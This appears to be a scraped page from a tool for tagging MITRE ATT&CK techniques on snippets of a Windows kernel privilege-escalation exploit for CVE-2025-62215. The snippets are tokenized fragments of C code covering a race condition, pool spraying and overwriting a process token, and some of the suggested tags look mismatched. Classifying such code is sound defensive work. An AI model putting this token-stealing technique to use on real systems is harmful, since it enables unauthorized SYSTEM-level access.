"##r tokenaddresstowrite = currenteprocess + eprocess _ token _ offset ; > printf ( " [ * ] phase 3 : attempting to overwrite current process token... \ n " ) ; > printf ( " [ * ] target : writing value 0x % llx to address 0x % llx \ n ", systemtoken, tokenaddresstowrite ) ; > > /…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1068Exploitation for Privilege Escalation
98%
"/ update - guide / vulnerability / cve - 2025 - 62215 > # > # description : > # concurrent execution using shared resource with improper synchronization ( ' race condition ' ) in windows kernel allows an authorized attacker to # elevate privileges locally. > # > # the zero - day …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1068Exploitation for Privilege Escalation
97%
"[ local ] windows kernel - elevation of privilege windows kernel - elevation of privilege # exploit title : windows kernel - elevation of privilege # author : e1. coders # contact : e1. coders [ at ] mail [ dot ] ru # security risk : cna : microsoft corporation base score : 7. 0 …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.001Dynamic-link Library Injection
97%
"{ sizeof ( si ) } ; > process _ information pi ; > if ( createprocess ( > " c : \ \ windows \ \ system32 \ \ cmd. exe ", > null, > null, > null, > false, > create _ new _ console, > null, > null, > & si, > & pi > ) ) { > printf ( " [ + ] if the exploit was successful, the opened …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.001Dynamic-link Library Injection
88%
"##ffff8000 ' 12345678 ; / / hypothetical system eprocess address > } > return ( ulong _ ptr ) 0xffff8000 ' 87654321 ; / / hypothetical address for our own process > } > > / / - - - exploit related functions - - - > > / / this function calls the hypothetical vulnerable system call…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.001Dynamic-link Library Injection
79%
"##odule hntdll = getmodulehandlea ( " ntdll. dll " ) ; > if (! hntdll ) { > printf ( " [ - ] could not get hntdll \ n " ) ; > return ; > } > ntqueryvirtualmemorywithrace _ ptr = ( pntqueryvirtualmemorywithrace ) getprocaddress ( hntdll, " ntqueryvirtualmemorywithrace " ) ; > if (…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1057Process Discovery
74%
"##ink _ offset 0x0 > > / / function to find the system process pid > dword getsystempid ( ) { > handle hsnapshot = createtoolhelp32snapshot ( th32cs _ snapprocess, 0 ) ; > if ( hsnapshot = = invalid _ handle _ value ) { > printf ( " [ - ] error creating process snapshot \ n " ) ;…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1027Obfuscated Files or Information
67%
"n \ n " ) ; > > / / to run this code, admin privileges are not required, but they are necessary for a real exploit to succeed. > exploit ( ) ; > > printf ( " \ npress any key to exit... " ) ; > getchar ( ) ; > return 0 ; > } > - - e1 coders sent from mail"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1134.001Token Impersonation/Theft
60%
"##rocess + eprocess _ token _ offset ; > printf ( " [ * ] simulation : system token at address 0x % llx \ n ", systemtoken ) ; > / / in a real exploit, this value must be read from kernel memory. > / / the actual token value is an address to the _ token structure. > printf ( " [ …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1134Access Token Manipulation
50%
"##rocess + eprocess _ token _ offset ; > printf ( " [ * ] simulation : system token at address 0x % llx \ n ", systemtoken ) ; > / / in a real exploit, this value must be read from kernel memory. > / / the actual token value is an address to the _ token structure. > printf ( " [ …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1134.001Token Impersonation/Theft
49%
"> printf ( " [ + ] system process pid : % d \ n ", systempid ) ; > > / / 2. find eprocess addresses ( hard and simulated part ) > ulong _ ptr systemeprocess = geteprocessaddress ( systempid ) ; > ulong _ ptr currenteprocess = geteprocessaddress ( getcurrentprocessid ( ) ) ; > > p…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1068Exploitation for Privilege Escalation
43%
"##atetransaction address \ n " ) ; > return ; > } > > / / create many objects to fill the freed space > for ( int i = 0 ; i < 10000 ; i + + ) { > handle htransaction ; > ntstatus status = ntcreatetransaction _ ptr ( & htransaction, transaction _ all _ access, null, null, null, 0,…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.001Dynamic-link Library Injection
40%
"pe32. th32processid ; > } > } while ( process32next ( hsnapshot, & pe32 ) ) ; > > closehandle ( hsnapshot ) ; > return 0 ; > } > > / / this function in a real exploit would obtain the eprocess address from kernel memory > / / using an information disclosure vulnerability or by ex…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.003Thread Execution Hijacking
39%
"" [ - ] error creating thread % d \ n ", i ) ; > } > } > > / / wait a bit for threads to create the race > sleep ( 1000 ) ; > > / / 5. kernel pool spraying > printf ( " [ * ] phase 2 : performing kernel pool spraying to occupy freed memory... \ n " ) ; > std : : vector < handle >…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1055.003Thread Execution Hijacking
30%
"##rocess + eprocess _ token _ offset ; > printf ( " [ * ] simulation : system token at address 0x % llx \ n ", systemtoken ) ; > / / in a real exploit, this value must be read from kernel memory. > / / the actual token value is an address to the _ token structure. > printf ( " [ …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.